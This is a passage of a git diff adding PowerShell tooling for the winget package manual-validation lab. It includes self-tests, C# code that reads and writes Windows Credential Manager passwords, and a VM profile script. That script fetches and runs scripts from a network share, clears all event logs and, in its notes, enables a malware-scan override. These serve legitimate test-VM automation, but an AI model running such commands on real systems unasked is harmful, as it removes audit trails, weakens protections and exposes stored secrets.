"Get-Keys"}; + if ($Data) { + [string[]]$Names = ($Data | Get-Member | Where-Object {$_.membertype -eq $Enum.Words.NoteProperty}).name + Return $Names + } +} + +Function Get-Values { + Param( + $Data + ) + if (($FunctionTrace) -OR ($WhatIf) -OR ($Display)) {Write-FunctionTrace "Get-Values"}; + $Names = Get-Keys $Data + $Values = $Names | %{$Data.($_)} + Return $Values +} + +Function Get-PadRight { + Param( + [string]$InputString, + [int]$PadChars = 45 + ) + if (($FunctionTrace) -OR ($WhatIf) -OR ($Display)) {Write-FunctionTrace "Get-PadRight $PadChars"}; + $out = $InputString + if ($InputString.Length -lt $PadChars) { + $out = $InputString + ($Enum.Char.Space*($PadChars - $InputString.Length -1)) + } elseif ($InputString.Length -lt $PadChars) { + $out = $InputString[$Enum.Index.First..($PadChars -1)] + } + $out = $out -join $Enum.Char.Blank + $out +} + +#Self-Testing +Function Get-StartupTest { + if (($FunctionTrace) -OR ($WhatIf) -OR ($Display)) {Write-FunctionTrace "Get-StartupTest"}; +Write-Host -nonewline "Loading Startup path tests - " +$StartupTestPaths = "Path,Name +$DataFileName,DataFileName +$JsonFileName,JsonFileName +$ExitCodeFile,ExitCodeFile +$AutowaiverFile,AutowaiverFile +$PRStateDataFile,PRStateDataFile +$MMCExceptionListFile,MMCExceptionListFile +$ReviewFile,ReviewFile +$SharedErrorFile,SharedErrorFile +$StatusFile,StatusFile +$SharedFolder,SharedFolder +$MainFolder,MainFolder +$imagesFolder,imagesFolder +$logsFolder,logsFolder +$MiscFolder,MiscFolder +$writeFolder,writeFolder +$VMCounter,vmCounter +$VMversion,VMversion +$RemoteTrackerModeFile,RemoteTrackerModeFile +$TrackerModeFile,TrackerModeFile +$LogFile,LogFile +$PRQueueFile,PRQueueFile +$PRExcludeFile,PRExcludeFile +$repoCountfile,repoCountfile +$CovertReviewFile,CovertReviewFile +$ApprovalStatsFile,ApprovalStatsFile +" | convertfrom-csv +# $Win10Folder,Win10Folder +# $Win11Folder,Win11Folder + +Write-Host -nonewline "Loading Manifest tests - " + +[string[]]$TestingManifest = gc "C:\ManVal\OtherMisc\TestingPR.yaml" + +#TrackerVMValidate +[int]$TestingPRNumber = 389042 +[string]$TestingPackageIdentifier = "Microsoft.PowerShell" +[string]$TestingPackageVersion = "7.5.8.0" +[string[]]$TestingArchitecture = "arm64" +[bool]$TestingElevationRequirement = $False + +#PRWatch +# [string]$TestingPRTitle = "#$TestingPRNumber" +[bool]$TestingManifestReview = $True +[string]$TestingInstallerType = "wix" +[string]$TestingAgreementUrl = $Null +[bool]$TestingWordFilterList = $False +[string]$TestingDisplayVersion = $Null +[string]$TestingInstallerUrl = "https://github.com/PowerShell/PowerShell/releases/download/v7.5.8/PowerShell-7.5.8-win-arm64.msi" + + +Write-Host -nonewline "Loading Schema tests - " + +#SchemaFinder +$SchemaFinderKeys += (get-keys $schemaData.installer.definitions) | %{$a = Get-SchemaFinder -File Installer -Property $_;if (!$a){$_}} +$SchemaFinderKeys += (get-keys $schemaData.installer.Properties) | %{$a = Get-SchemaFinder -File Installer -Property $_;if (!$a){$_}} +$SchemaFinderKeys += (get-keys $schemaData.version.Properties) | %{$a = Get-SchemaFinder -File Version -Property $_;if (!$a){$_}} +$SchemaFinderKeys += (get-keys $schemaData.defaultLocale.Properties) | %{$a = Get-SchemaFinder -File defaultlocale -Property $_;if (!$a){$_}} +$SchemaFinderKeys += (get-keys $schemaData.defaultLocale.definitions) | %{$a = Get-SchemaFinder -File defaultlocale -Property $_;if (!$a){$_}} +$SchemaFinderKeys += (get-keys $schemaData.locale.Properties) | %{$a = Get-SchemaFinder -File locale -Property $_;if (!$a){$_}} +$SchemaFinderKeys += (get-keys $schemaData.locale.definitions) | %{$a = Get-SchemaFinder -File locale -Property $_;if (!$a){$_}} +# $SchemaFinderKeys = $SchemaFinderKeys | sort -unique + +#Broken tests - need to fix +# $((Get-QueryClipboard -Query ($Enum.ClipboardQueries.PRWatch) -StrArray $TestingManifest).WordFilterList -eq $TestingWordFilterList),PRWatch-WordFilterList +# $((Get-QueryClipboard -Query ($Enum.ClipboardQueries.TrackerVmValidate) -StrArray $TestingManifest).ElevationRequirement -eq $TestingElevationRequirement),TrackerVmValidate-ElevationRequirement +# $((Get-QueryClipboard -Query ($Enum.ClipboardQueries.PRWatch) -StrArray $TestingManifest).PRtitle -eq $TestingPRTitle),PRWatch-PRtitle + +Write-Host -nonewline "Loading Startup tests - " + +$StartupTestItems = "Path,Name +$((Get-VM | where {$_.Name -notmatch 'Win'}).count -eq (Get-Status).count),VMCount +$((Get-QueryClipboard -Query ($Enum.ClipboardQueries.AllPRsOnClipboard) -StrArray $TestingManifest) -eq $TestingPRNumber),$($Enum.ClipboardQueries.AllPRsOnClipboard) +$((Get-QueryClipboard -Query ($Enum.ClipboardQueries.PRWatch) -StrArray $TestingManifest).PackageIdentifier -eq $TestingPackageIdentifier),PRWatch-PackageIdentifier +$((Get-QueryClipboard -Query ($Enum.ClipboardQueries.PRWatch) -StrArray $TestingManifest).PackageVersion -eq $TestingPackageVersion),PRWatch-PackageVersion +$((Get-QueryClipboard -Query ($Enum.ClipboardQueries.PRWatch) -StrArray $TestingManifest).InstallerType -eq $TestingInstallerType),PRWatch-InstallerType +$($TestingAgreementUrl -match (Get-QueryClipboard -Query ($Enum.ClipboardQueries.PRWatch) -StrArray $TestingManifest).AgreementUrl),PRWatch-AgreementUrl +$($TestingDisplayVersion -match (Get-QueryClipboard -Query ($Enum.ClipboardQueries.PRWatch) -StrArray $TestingManifest).DisplayVersion),PRWatch-DisplayVersion +$((Get-QueryClipboard -Query ($Enum.ClipboardQueries.PRWatch) -StrArray $TestingManifest).InstallerUrl -eq $TestingInstallerUrl),PRWatch-InstallerUrl +$((Get-QueryClipboard -Query ($Enum.ClipboardQueries.TrackerVmValidate) -StrArray $TestingManifest).PRNumber -eq $TestingPRNumber),TrackerVmValidate-PRNumber +$((Get-QueryClipboard -Query ($Enum.ClipboardQueries.TrackerVmValidate) -StrArray $TestingManifest).PackageIdentifier -eq $TestingPackageIdentifier),TrackerVmValidate-PackageIdentifier +$((Get-QueryClipboard -Query ($Enum.ClipboardQueries.TrackerVmValidate) -StrArray $TestingManifest).PackageVersion -eq $TestingPackageVersion),TrackerVmValidate-PackageVersion +$((Get-QueryClipboard -Query ($Enum.ClipboardQueries.TrackerVmValidate) -StrArray $TestingManifest).Architecture[0] -eq $TestingArchitecture),TrackerVmValidate-Architecture +$([CredManager.Util]::GetUserCredential(`"Application Name`").password -eq 'Password'),GetUserCredential +$($SchemaFinderKeys.count -eq 0),SchemaFinder +" | convertfrom-csv + + +# $StartupTestItems + $TotalTests = $StartupTestPaths.Count + $StartupTestItems.Count + + Write-Host "Running $TotalTests Tests: " -NoNewline + $fail = 0 + foreach ($Datum in $StartupTestPaths) { + $String = "$($Datum.Name) - " + $ForegroundColor = "yellow" + if (Test-Path $Datum.Path -ErrorAction SilentlyContinue) { + $ForegroundColor = $Enum.PSColors.Green + } else { + $ForegroundColor = $Enum.PSColors.Red + $fail++ + } + Write-Host -ForegroundColor $ForegroundColor $String -NoNewline + } + + foreach ($Datum in $StartupTestItems) { + $String = "$($Datum.Name) - " + $ForegroundColor = "yellow" + if ($Datum.Path -eq $True) { + $ForegroundColor = $Enum.PSColors.Green + } else { + $ForegroundColor = $Enum.PSColors.Red + $fail++ + } + Write-Host -ForegroundColor $ForegroundColor $String -NoNewline + } + + + if ($fail) { + Write-Host -ForegroundColor $Enum.PSColors.Red "$Fail failed!" -NoNewline + } else { + $Fail = "Nothing" + Write-Host -ForegroundColor $Enum.PSColors.Green "$Fail failed!" -NoNewline + } + Write-Host $Enum.Char.Blank #Write a blank string, to auto-add the console newline at the end of the tests. +} + +#~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ +#++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++ +################################ - C Sharp - ################################# +#++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++ +#~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ +#region CSharp +#From StackOverflow +Add-Type @" +using System; +using System.Runtime.InteropServices; + +public class Window { + [DllImport("user32.dll")] + [return: MarshalAs(UnmanagedType.Bool)] + public static extern bool GetWindowRect(IntPtr hWnd, out RECT lpRect); + [DllImport("user32.dll")] + public static extern bool MoveWindow(IntPtr hWnd, int X, int Y, int nWidth, int nHeight, bool bRepaint); + +} +public struct RECT { + public int Left; // x position of upper-left corner + public int Top; // y position of upper-left corner + public int Right; // x position of lower-right corner + public int Bottom; // y position of lower-right corner +} +"@ + +#From https://stackoverflow.com/a/67944064 +#Updated with: +#https://learn.microsoft.com/en-us/dotnet/api/system.runtime.interopservices.marshal.stringtocotaskmemuni?view=net-10.0 +#https://learn.microsoft.com/en-us/dotnet/api/system.runtime.interopservices.marshal.copy?view=net-10.0#system-runtime-interopservices-marshal-copy(system-intptr-system-byte()-system-int32-system-int32) + +# How to store credentials +# [CredManager.Util]::SetUserCredential("Application Name", "Username", "Password") +# How to retrieve credentials +# [CredManager.Util]::GetUserCredential("Application Name") +# How to just get the password +# [CredManager.Util]::GetUserCredential("Application Name").password + +Add-Type @" +using System.Text; +using System; +using System.Runtime.InteropServices; + +namespace CredManager { + [StructLayout(LayoutKind.Sequential, CharSet = CharSet.Unicode)] + public struct CredentialMem { + public int flags; + public int type; + public string targetName; + public string comment; + public System.Runtime.InteropServices.ComTypes.FILETIME lastWritten; + public int credentialBlobSize; + public IntPtr credentialBlob; + public int persist; + public int attributeCount; + public IntPtr credAttribute; + public string targetAlias; + public string userName; + } + + public class Credential { + public string target; + public string username; + public string password; + public Credential(string target, string username, string password) { + this.target = target; + this.username = username; + this.password = password; + } + } + + public class Util { + [DllImport("advapi32.dll", EntryPoint = "CredReadW", CharSet = CharSet.Unicode, SetLastError = true)] + private static extern bool CredRead(string target, int type, int reservedFlag, out IntPtr credentialPtr); + //Extend/reference CredReadW as CredRead. + + [DllImport("Advapi32.dll", SetLastError = true, EntryPoint = "CredFree", CharSet = CharSet.Unicode)] + private static extern void CredRelease([In] IntPtr credentialPtr); + //Extend/reference CredFree as CredRelease. + + public static Credential GetUserCredential(string target) { + CredentialMem credMem; + IntPtr credPtr; + if (CredRead(target, 1, 0, out credPtr)) { //If found, returns true and adds to credPtr, else false and error. + try { + credMem = Marshal.PtrToStructure(credPtr); + //"Marshals data from an unmanaged block of memory to a newly allocated managed object of the type specified by a generic type parameter." + byte[] passwordBytes = new byte[credMem.credentialBlobSize]; //Make a new byte array passwordBytes of size credentialBlobSize. + Marshal.Copy(credMem.credentialBlob, passwordBytes, 0, credMem.credentialBlobSize); + //Copies data from an unmanaged memory pointer to a managed 8-bit unsigned integer array. + return new Credential(credMem.targetName, credMem.userName, Encoding.Unicode.GetString(passwordBytes)); //Make a new Credential object cred. + } finally { + //credentialBlob is an interior pointer into credPtr; free the buffer once via CredFree. + if (credPtr != IntPtr.Zero) { CredRelease(credPtr); } + } + } else { + throw new Exception("Failed to retrieve credentials"); + } + } + + [DllImport("Advapi32.dll", SetLastError = true, EntryPoint = "CredWriteW", CharSet = CharSet.Unicode)] + private static extern bool CredWrite([In] ref CredentialMem userCredential, [In] int flags); + //Extend/reference CredWriteW as CredWrite. + + public static void SetUserCredential(string target, string userName, string password) { + //New CredentialMem object userCredential + CredentialMem userCredential = new CredentialMem(); + userCredential.targetName = target; + userCredential.type = 1; + userCredential.userName = userName; + userCredential.attributeCount = 0; + userCredential.persist = 3; + byte[] bpassword = Encoding.Unicode.GetBytes(password); + userCredential.credentialBlobSize = (int)bpassword.Length; + userCredential.credentialBlob = Marshal.StringToCoTaskMemUni(password); + //If write fails, emit last error. + try { + if (!CredWrite(ref userCredential, 0)) { + throw new System.ComponentModel.Win32Exception(Marshal.GetLastWin32Error()); + } + } finally { + //Match StringToCoTaskMemUni allocation with FreeCoTaskMem. + Marshal.FreeCoTaskMem(userCredential.credentialBlob); + } + } + } +} +"@ +#endregion + +#~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ +#++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++ +################################# - Data - ################################## +#++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++ +#~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ +Function Read-JsonData { + Param( + $FileName = $JsonFileName, + $InputData = (Get-Content $FileName | ConvertFrom-Json) + ) + if (($FunctionTrace) -OR ($WhatIf) -OR ($Display)) {Write-FunctionTrace "Read-JsonData"}; + $out = @{} + $Names = ($InputData | Get-Member | where {$_.MemberType -match $Enum.Words.NoteProperty}).name + foreach ($Name in $Names) {#Reserialize PSObject as hash table. + $out.($Name) = $InputData.($Name) + } + $out +} + +Function Write-JsonData { + Param( + $Data = $Enum + ) + if (($FunctionTrace) -OR ($WhatIf) -OR ($Display)) {Write-FunctionTrace "Write-JsonData"}; + [string]$Enum = $Data | ConvertTo-Json + if ($Enum) { + $Enum > $JsonFileName + } +} + +Function Get-ValidationData { + Param( + $Property = $Enum.Char.Blank, + $Match = $Enum.Char.Blank, + $data = (Get-Content $DataFileName | ConvertFrom-Csv | Where-Object {$_.$Property} | Where-Object {$_.$Property -match $Match}), + [switch]$Exact + ) + if (($FunctionTrace) -OR ($WhatIf) -OR ($Display)) {Write-FunctionTrace "Get-ValidationData $Property"}; + if ($Exact -eq $True) { + $data = $data | Where-Object {$_.$Property -eq $Match} + } + Return $data +} + +Function Add-ValidationData { + Param( + [Parameter(Mandatory)][string]$PackageIdentifier, + [string]$GitHubUserName = $Enum.GitHubUserNames.GitHubUserName, + [ValidateScript( { $_ -in (Get-Keys $Enum.ValidationDataStrictness) } )][string]$authStrictness, + [ValidateScript( { $_ -in (Get-Keys $Enum.ValidationDataType) } )][string]$authUpdateType, + [string]$AutoWaiverLabel, + [string]$versionParamOverrideUserName, + [int]$versionParamOverridePR, + [string]$code200OverrideUserName, + [int]$code200OverridePR, + [int]$AgreementOverridePR, + [string]$AgreementURL, + [string]$reviewText, + $data = (Get-Content $DataFileName | ConvertFrom-Csv) + ) + if (($FunctionTrace) -OR ($WhatIf) -OR ($Display)) {Write-FunctionTrace "Add-ValidationData $PackageIdentifier"}; + $PackageIdentifier = Get-SchemaCheck -InputData $PackageIdentifier -SchemaInfo $schemaData.installer.definitions.PackageIdentifier + $out = ($data | where {$_.PackageIdentifier -eq $PackageIdentifier} | Select-Object $Enum.manifestKeys.PackageIdentifier,"GitHubUserName","authStrictness","authUpdateType","AutoWaiverLabel","versionParamOverrideUserName","versionParamOverridePR","code200OverrideUserName","code200OverridePR","AgreementOverridePR","AgreementURL","reviewText") + if ($null -eq $out) { + $out = ( $Enum.Char.Blank | Select-Object "PackageIdentifier","GitHubUserName","authStrictness","authUpdateType","AutoWaiverLabel","versionParamOverrideUserName","versionParamOverridePR","code200OverrideUserName","code200OverridePR","AgreementOverridePR","AgreementURL","reviewText") + $out.PackageIdentifier = $PackageIdentifier + } + + $out.GitHubUserName = $GitHubUserName + $out.authStrictness = $authStrictness + $out.authUpdateType = $authUpdateType + $out.AutoWaiverLabel = $AutoWaiverLabel + $out.versionParamOverrideUserName = $versionParamOverrideUserName + $out.versionParamOverridePR = $versionParamOverridePR + $out.code200OverrideUserName = $code200OverrideUserName + $out.code200OverridePR = $code200OverridePR + $out.AgreementURL = $AgreementURL + $out.AgreementOverridePR = $AgreementOverridePR + $out.reviewText = $reviewText + $data += $out + $data | sort PackageIdentifier | ConvertTo-Csv | Out-File $DataFileName +} + +Function Get-SchemaData { + $schemaData.installer = Invoke-GitHubRequest -Uri "https://raw.githubusercontent.com/microsoft/winget-cli/refs/heads/master/schemas/JSON/manifests/v1.12.0/manifest.installer.1.12.0.json" -JSON + if ($schemaData.installer -match "404: Not Found") { + $schemaData.installer = gc "$SchemaBackupFolder\installer.json" | ConvertFrom-Json + } + + Write-Host -nonewline "Installer schema loaded - " + $schemaData.locale = Invoke-GitHubRequest -Uri "https://raw.githubusercontent.com/microsoft/winget-cli/refs/heads/master/schemas/JSON/manifests/v1.12.0/manifest.locale.1.12.0.json" -JSON + if ($schemaData.locale -match "404: Not Found") { + $schemaData.locale = gc "$SchemaBackupFolder\locale.json" | ConvertFrom-Json + } + + Write-Host -nonewline "Locale schema loaded - " + $schemaData.defaultLocale = Invoke-GitHubRequest -Uri "https://raw.githubusercontent.com/microsoft/winget-cli/refs/heads/master/schemas/JSON/manifests/v1.12.0/manifest.defaultLocale.1.12.0.json" -JSON + if ($schemaData.defaultLocale -match "404: Not Found") { + $schemaData.defaultLocale = gc "$SchemaBackupFolder\defaultLocale.json" | ConvertFrom-Json + } + + Write-Host -nonewline "DefaultLocale schema loaded - " + $schemaData.version = (Invoke-GitHubRequest -Uri "https://raw.githubusercontent.com/microsoft/winget-cli/refs/heads/master/schemas/JSON/manifests/v1.12.0/manifest.version.1.12.0.json" -JSON) + if ($schemaData.version -match "404: Not Found") { + $schemaData.version = gc "$SchemaBackupFolder\version.json" | ConvertFrom-Json + } + + Write-Host -nonewline "Version schemae loaded - " +}; #end Get-SchemaData + +#~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ +#++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++ +############################### - First Run - ############################### +#++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++ +#~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ + +$Enum = Read-JsonData +Write-Host -nonewline "Loading schemae - " +if (!$schemaData) { + $schemaData = @{} + Get-SchemaData +} +Write-Host "Running Startup tests." +Get-StartupTest diff --git a/Tools/ManualValidation/ManualValidationProfile.ps1 b/Tools/ManualValidation/ManualValidationProfile.ps1 index d1613c799861d..4701602c66fcf 100644 --- a/Tools/ManualValidation/ManualValidationProfile.ps1 +++ b/Tools/ManualValidation/ManualValidationProfile.ps1 @@ -1,189 +1,189 @@ -$VM = 0 -$build = 149 -$ipconfig = (ipconfig) -$remoteIP = ([ipaddress](($ipconfig | select-string "Default Gateway") -split ": ")[1]).IPAddressToString -#$remoteIP = ([ipaddress](($ipconfig[($ipconfig | select-string "vEthernet").LineNumber..$ipconfig.length] | select-string "IPv4 Address") -split ": ")[1]).IPAddressToString -Write-Host "VM$VM with remoteIP $remoteIP version $build" - -$MainFolder = "\\$remoteIP\ManVal" -$homePath = "C:\Users\User\Desktop" -Set-Location $homePath - -$runPath = "$MainFolder\vm\$VM" -$writeFolder = "\\$remoteIP\write" -$statusFile = "$writeFolder\status.csv" -# $statusFile = "$writeFolder\status\$VM.csv" -$SharedFolder = $writeFolder - -if ($VM -eq 0) { - $VM = (gc "$MainFolder\vmcounter.txt")-1 -} -$NewProfile = (Get-Content "\\$remoteIP\ManVal\vm\0\profile.ps1") -split "`n" -if ($NewProfile) { - "`$VM = $VM" | Out-File $profile - ($NewProfile[1..999]) -join "`n" | Out-File $profile -append -} - -Function Send-SharedError { - param( - [switch]$Approved, - [switch]$Feedback, - $Clip = (Get-Clipboard) - ) - if ($Clip.length -gt 0) { - Write-Host "Writing $($Clip.length) lines." - $Clip -join "`n" | Out-File "$writeFolder\err.txt" - if ($Feedback) { - Get-TrackerVMSetStatus "SendStatus-Feedback" - } else { - if ($Approved) { - Get-TrackerVMSetStatus "SendStatus-Approved" - } else { - Get-TrackerVMSetStatus "SendStatus-Complete" - } #end if Approved - } #end if Feedback - } -} - -function Get-ARPTable { - Param( - $DisplayName - ) - #SandboxTest.ps1 copypasta - https://github.com/microsoft/winget-pkgs/blob/01d110895592f8775f7a3e9c1e4b50a8bd3dc698/Tools/SandboxTest.ps1#L703 - $registry_paths = @('HKLM:\Software\Microsoft\Windows\CurrentVersion\Uninstall\*','HKLM:\Software\WOW6432Node\Microsoft\Windows\CurrentVersion\Uninstall\*', 'HKCU:\Software\Microsoft\Windows\CurrentVersion\Uninstall\*', 'HKCU:\Software\WOW6432Node\Microsoft\Windows\CurrentVersion\Uninstall\*') - $out = Get-ItemProperty $registry_paths -ErrorAction SilentlyContinue | - Where-Object { $_.DisplayName -and (-not $_.SystemComponent -or $_.SystemComponent -ne 1 ) } | - Select-Object DisplayName, DisplayVersion, Publisher, @{N='ProductCode'; E={$_.PSChildName}}, @{N='Scope'; E={if($_.PSDrive.Name -eq 'HKCU') {'User'} else {'Machine'}}} - if ($DisplayName) { - $out = $out | where {$_.DisplayName -match $DisplayName} - } - return $out -} - -Function Get-TrackerVMSetStatus { - param( - [ValidateSet("AddVCRedist","Approved","CheckpointComplete","Checkpointing","CheckpointReady","Completing","Complete","Disgenerate","DoesntRun","Feedback","LongRunning","FileScan1","FileScan2","FileScan1Pause","FileScan2Pause","Generating","Installing","Prescan","Prevalidation","Ready","Rebooting","Regenerate","Restoring","Revert","Scanning","SendStatus","SendStatus-Approved","SendStatus-Complete","SendStatus-Feedback","Setup","SetupComplete","Starting","Unhealthy","Updating","ValidationCompleted")] - $Status = "Complete", - [string]$Package, - [int]$PR - ) - $out = Get-TrackerVMStatus - if ($Status) { - ($out | where {$_.vm -match $VM}).Status = $Status - } - if ($Package) { - ($out | where {$_.vm -match $VM}).Package = $Package - } - if ($PR) { - ($out | where {$_.vm -match $VM}).PR = $PR - } - $out | ConvertTo-Csv -NoTypeInformation | Out-File $StatusFile - Write-Host "Setting $vm $Package $PR state $Status" -} - -Function Get-TrackerVMRunValidation { - param( - $fileName = "cmds.ps1" - ) - Get-EventLog -LogName * | ForEach { Clear-EventLog $_.Log } - Copy-Item $runPath\$fileName $homePath\$fileName - & $homePath\$fileName -} - -Function Get-TrackerVMStatus{ - param( - [int]$vmNum, - [ValidateSet("AddVCRedist","Approved","CheckpointComplete","Checkpointing","CheckpointReady","Completing","Complete","Disgenerate","DoesntRun","Feedback","LongRunning","FileScan1","FileScan2","FileScan1Pause","FileScan2Pause","Generating","Installing","Prescan","Prevalidation","Ready","Rebooting","Regenerate","Restoring","Revert","Scanning","SendStatus","SendStatus-Approved","SendStatus-Complete","SendStatus-Feedback","Setup","SetupComplete","Starting","Unhealthy","Updating","ValidationCompleted")] - $Status, - $Option = "status", - $out = (Get-Content $StatusFile | ConvertFrom-Csv | where {$_.status -notmatch "ImagePark"}) - ) - if ($vmNum) { - $out = ($out | where {$_.vm -eq $vmNum}).$Option - } - if ($Status) { - $out = ($out | where {$_.status -eq $Status}).vm - } - $out -} - -Function Get-InstalledVersions { - Param( - $file = (gc C:\Users\User\Desktop\ChangedFiles.txt | where {$_ -match "Links"} | where {$_ -match "exe"}), - $cmdstring = "version", - $ArpName = (($file -split "\\")[-1] -split "\.")[0] - ) - if ($file) { - Write-Host "Reading $ArpName" - $ArpData = Get-ARPTable $ArpName - $FileData = &"$file" "--$cmdstring" - if ($null -eq $FileData){ - $FileData = &"$file" "$cmdstring" - } - $shouldsend = $false - ($FileData -replace ":"," " -replace "v","" -split " ") |%{if ($ArpData.DisplayVersion -match $_ ) {$shouldsend = $true}} - if ($shouldsend){ - Send-SharedError -Status Approved -Clip $FileData - } - } -} - -<# -Registry: -$a = gci HKLM:SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Uninstall | Get-ItemProperty | select DisplayName,DisplayVersion -$a += gci HKLM:SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall | Get-ItemProperty | select DisplayName,DisplayVersion -$a | where {$_.displayname} | sort displayname -Unique - -#Clear event logs. - -# Commands -$n = 15;$t = $n;while ($n -gt 0) {$n--;$r = $t - $n;Write-Progress -Activity "Build latch" -Status "Seconds remaining: $r/$t" -PercentComplete ((1-$n/$t)*100);sleep 1}; Get-NetAdapter|Disable-NetAdapter -confirm:$false;Get-NetAdapter|Enable-NetAdapter;sleep 30;Import-Module $Profile -Force;Import-Module $Profile -Force;cls;Write-Host "VM$VM with remoteIP $remoteIP version $build"; Get-TrackerVMSetStatus CheckpointReady; $n = 15;$t = $n;while ($n -gt 0) {$n--;$r = $t - $n; Write-Progress -Activity "Run latch" -Status "Seconds remaining: $r/$t" -PercentComplete ((1-$n/$t)*100);sleep 1};Write-Host "Waiting for Network...";Get-TrackerVMRunValidation - - -# Reset display window -$vm = 0;notepad $profile;cls;Write-Host "VM$VM with remoteIP $remoteIP version $build" - -# Close Notepad -Get-Process Notepad|Stop-Process; - -# Reboot -shutdown -r -t 05 - -# Setup: ExecutionPolicy, Uninstall, Enable WinGet settings. -Set-ExecutionPolicy Unrestricted -winget uninstall Microsoft.Teams -winget uninstall Microsoft.Teams.Free -winget uninstall Microsoft.OneDrive -winget uninstall Microsoft.MSIXPackagingTool_8wekyb3d8bbwe -winget settings --enable LocalManifestFiles;winget settings --enable LocalArchiveMalwareScanOverride; - -# Files -Logs file: C:\Users\user\AppData\Local\Packages\Microsoft.DesktopAppInstaller_8wekyb3d8bbwe\LocalState\DiagOutputDir -Programs: C:\Users\user\AppData\Local\Programs\ -Download: C:\Users\user\AppData\Local\Temp\WinGet\ -Portable: C:\Users\user\AppData\Local\Microsoft\WinGet\Packages\ -Symlinks: C:\Users\user\AppData\Local\Microsoft\WinGet\Links\ - -New VM: -- Open Quick Create, create VM -- Connect, power on, use example@example.com to skip login. -- User username, easy to type password, security questions. -- Keyboard layout and locale, maybe a few other questions, then skip everything else. -- Do something else during initial setup. -- Install all store, winget, windows, and defender updates. Reboot as necessary. -ImageVMMove here at any point. -- Open PowerShell and run IPConfig, get switch IP. -- Connect to \\ip\ManVal\, open \vm\0\profile.ps1 -- Run few setup and uninstall commands -- Copy to local profile. -- Set up PowerShell window sizes -- Enter commands in windows -ImageVMStop -- Wait for image to cool -PipelineVMGenerate -- VM is in system. - -gci HKLM:SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall -gci HKLM:SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Uninstall - +$VM = 0 +$build = 149 +$ipconfig = (ipconfig) +$remoteIP = ([ipaddress](($ipconfig | select-string "Default Gateway") -split ": ")[1]).IPAddressToString +#$remoteIP = ([ipaddress](($ipconfig[($ipconfig | select-string "vEthernet").LineNumber..$ipconfig.length] | select-string "IPv4 Address") -split ": ")[1]).IPAddressToString +Write-Host "VM$VM with remoteIP $remoteIP version $build" + +$MainFolder = "\\$remoteIP\ManVal" +$homePath = "C:\Users\User\Desktop" +Set-Location $homePath + +$runPath = "$MainFolder\vm\$VM" +$writeFolder = "\\$remoteIP\write" +$statusFile = "$writeFolder\status.csv" +# $statusFile = "$writeFolder\status\$VM.csv" +$SharedFolder = $writeFolder + +if ($VM -eq 0) { + $VM = (gc "$MainFolder\vmcounter.txt")-1 +} +$NewProfile = (Get-Content "\\$remoteIP\ManVal\vm\0\profile.ps1") -split "`n" +if ($NewProfile) { + "`$VM = $VM" | Out-File $profile + ($NewProfile[1..999]) -join "`n" | Out-File $profile -append +} + +Function Send-SharedError { + param( + [switch]$Approved, + [switch]$Feedback, + $Clip = (Get-Clipboard) + ) + if ($Clip.length -gt 0) { + Write-Host "Writing $($Clip.length) lines." + $Clip -join "`n" | Out-File "$writeFolder\err.txt" + if ($Feedback) { + Get-TrackerVMSetStatus "SendStatus-Feedback" + } else { + if ($Approved) { + Get-TrackerVMSetStatus "SendStatus-Approved" + } else { + Get-TrackerVMSetStatus "SendStatus-Complete" + } #end if Approved + } #end if Feedback + } +} + +function Get-ARPTable { + Param( + $DisplayName + ) + #SandboxTest.ps1 copypasta - https://github.com/microsoft/winget-pkgs/blob/01d110895592f8775f7a3e9c1e4b50a8bd3dc698/Tools/SandboxTest.ps1#L703 + $registry_paths = @('HKLM:\Software\Microsoft\Windows\CurrentVersion\Uninstall\*','HKLM:\Software\WOW6432Node\Microsoft\Windows\CurrentVersion\Uninstall\*', 'HKCU:\Software\Microsoft\Windows\CurrentVersion\Uninstall\*', 'HKCU:\Software\WOW6432Node\Microsoft\Windows\CurrentVersion\Uninstall\*') + $out = Get-ItemProperty $registry_paths -ErrorAction SilentlyContinue | + Where-Object { $_.DisplayName -and (-not $_.SystemComponent -or $_.SystemComponent -ne 1 ) } | + Select-Object DisplayName, DisplayVersion, Publisher, @{N='ProductCode'; E={$_.PSChildName}}, @{N='Scope'; E={if($_.PSDrive.Name -eq 'HKCU') {'User'} else {'Machine'}}} + if ($DisplayName) { + $out = $out | where {$_.DisplayName -match $DisplayName} + } + return $out +} + +Function Get-TrackerVMSetStatus { + param( + [ValidateSet("AddVCRedist","Approved","CheckpointComplete","Checkpointing","CheckpointReady","Completing","Complete","Disgenerate","DoesntRun","Feedback","LongRunning","FileScan1","FileScan2","FileScan1Pause","FileScan2Pause","Generating","Installing","Prescan","Prevalidation","Ready","Rebooting","Regenerate","Restoring","Revert","Scanning","SendStatus","SendStatus-Approved","SendStatus-Complete","SendStatus-Feedback","Setup","SetupComplete","Starting","Unhealthy","Updating","ValidationCompleted")] + $Status = "Complete", + [string]$Package, + [int]$PR + ) + $out = Get-TrackerVMStatus + if ($Status) { + ($out | where {$_.vm -match $VM}).Status = $Status + } + if ($Package) { + ($out | where {$_.vm -match $VM}).Package = $Package + } + if ($PR) { + ($out | where {$_.vm -match $VM}).PR = $PR + } + $out | ConvertTo-Csv -NoTypeInformation | Out-File $StatusFile + 